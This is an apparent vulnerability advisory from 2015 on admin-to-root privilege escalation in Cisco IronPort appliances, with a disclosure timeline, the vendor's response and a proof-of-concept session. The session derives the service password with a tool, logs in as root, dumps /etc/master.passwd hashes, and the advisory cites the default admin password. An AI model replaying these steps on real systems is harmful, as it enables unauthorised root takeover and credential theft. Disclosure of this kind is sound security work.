Cisco Ironport Appliances Privilege Escalation Vulnerability

2015.01.24
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

/* Cisco Ironport Appliances Privilege Escalation Vulnerability Vendor: Cisco Product webpage: http://www.cisco.com Affected version(s): Cisco Ironport ESA - AsyncOS 8.5.5-280 Cisco Ironport WSA - AsyncOS 8.0.5-075 Cisco Ironport SMA - AsyncOS 8.3.6-0 Date: 22/05/2014 Credits: Glafkos Charalambous CVE: Not assigned by Cisco Disclosure Timeline: 19-05-2014: Vendor Notification 20-05-2014: Vendor Response/Feedback 27-08-2014: Vendor Fix/Patch 24-01-2015: Public Disclosure Description: Cisco Ironport appliances are vulnerable to authenticated "admin" privilege escalation. By enabling the Service Account from the GUI or CLI allows an admin to gain root access on the appliance, therefore bypassing all existing "admin" account limitations. The vulnerability is due to weak algorithm implementation in the password generation process which is used by Cisco to remotely access the appliance to provide technical support. Vendor Response: As anticipated, this is not considered a vulnerability but a security hardening issue. As such we did not assign a CVE however I made sure that this is fixed on SMA, ESA and WSA. The fix included several changes such as protecting better the algorithm in the binary, changing the algorithm itself to be more robust and enforcing password complexity when the administrator set the pass-phrase and enable the account. [SD] Note: Administrative credentials are needed in order to activate the access to support representative and to set up the pass-phrase that it is used to compute the final password. [GC] Still Admin user has limited permissions on the appliance and credentials can get compromised too, even with default password leading to full root access. [SD] This issue is tracked for the ESA by Cisco bug id: CSCuo96011 for the SMA by Cisco bug id: CSCuo96056 and for WSA by Cisco bug id CSCuo90528 Technical Details: By logging in to the appliance using default password "ironport" or user specified one, there is an option to enable Customer Support Remote Access. This option can be found under Help and Support -> Remote Access on the GUI or by using the CLI console account "enablediag" and issuing the command service. Enabling this service requires a temporary user password which should be provided along with the appliance serial number to Cisco techsupport for remotely connecting and authenticating to the appliance. Having a temporary password and the serial number of the appliance by enabling the service account, an attacker can in turn get full root access as well as potentially damage it, backdoor it, etc. PoC: Enable Service Account ---------------------- root@kali:~# ssh -lenablediag 192.168.0.158 Password: Last login: Sat Jan 24 15:47:07 2015 from 192.168.0.163 Copyright (c) 2001-2013, Cisco Systems, Inc. AsyncOS 8.5.5 for Cisco C100V build 280 Welcome to the Cisco C100V Email Security Virtual Appliance Available Commands: help -- View this text. quit -- Log out. service -- Enable or disable access to the service system. network -- Perform emergency configuration of the diagnostic network interface. clearnet -- Resets configuration of the diagnostic network interface. ssh -- Configure emergency SSH daemon on the diagnostic network interface. clearssh -- Stop emergency SSH daemon on the diagnostic network interface. tunnel -- Start up tech support tunnel to IronPort. print -- Print status of the diagnostic network interface. reboot -- Reboot the appliance. S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4 Service Access currently disabled. ironport.example.com> service Service Access is currently disabled. Enabling this system will allow an IronPort Customer Support representative to remotely access your system to assist you in solving your technical issues. Are you sure you want to do this? [Y/N]> Y Enter a temporary password for customer support to use. This password may not be the same as your admin password. This password will not be able to be used to directly access your system. []> cisco123 Service access has been ENABLED. Please provide your temporary password to your IronPort Customer Support representative. S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4 Service Access currently ENABLED (0 current service logins) ironport.example.com> Generate Service Account Password --------------------------------- Y:\Vulnerabilities\cisco\ironport>woofwoof.exe Usage: woofwoof.exe -p password -s serial -p <password> | Cisco Service Temp Password -s <serial> | Cisco Serial Number -h | This Help Menu Example: woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4 Y:\Vulnerabilities\cisco\ironport>woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019 F508A4 Service Password: b213c9a4 Login to the appliance as Service account with root privileges -------------------------------------------------------------- root@kali:~# ssh -lservice 192.168.0.158 Password: Last login: Wed Dec 17 21:15:24 2014 from 192.168.0.10 Copyright (c) 2001-2013, Cisco Systems, Inc. AsyncOS 8.5.5 for Cisco C100V build 280 Welcome to the Cisco C100V Email Security Virtual Appliance # uname -a FreeBSD ironport.example.com 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Mar 14 08:04:05 PDT 2014 auto-build@vm30esa0109.ibeng:/usr/build/iproot/freebsd/mods/src/sys/amd64/compile/MESSAGING_GATEWAY.amd64 amd64 # cat /etc/master.passwd # $Header: //prod/phoebe-8-5-5-br/sam/freebsd/install/dist/etc/master.passwd#1 $ root:*:0:0::0:0:Mr &:/root:/sbin/nologin service:$1$bYeV53ke$Q7hVZA5heeb4fC1DN9dsK/:0:0::0:0:Mr &:/root:/bin/sh enablediag:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:999:999::0:0:Administrator support access control:/root:/data/bin/enablediag.sh adminpassword:$1$aDeitl0/$BlmzKUSeRXoc4kcuGzuSP/:0:1000::0:0:Administrator Password Tool:/data/home/admin:/data/bin/adminpassword.sh daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin operator:*:2:5::0:0:System &:/:/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin support:$1$FgFVb064$SmsZv/ez7Pf4wJLp5830s/:666:666::0:0:Mr &:/root:/sbin/nologin admin:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:1000:1000::0:0:Administrator:/data/home/admin:/data/bin/cli.sh clustercomm:*:900:1005::0:0:Cluster Communication User:/data/home/clustercomm:/data/bin/command_proxy.sh smaduser:*:901:1007::0:0:Smad User:/data/home/smaduser:/data/bin/cli.sh spamd:*:783:1006::0:0:CASE User:/usr/case:/sbin/nologin pgsql:*:70:70::0:0:PostgreSQL pseudo-user:/usr/local/pgsql:/bin/sh ldap:*:389:389::0:0:OpenLDAP Server:/nonexistent:/sbin/nologin */

References:

http://cxsecurity.com/issue/WLB-2015010131


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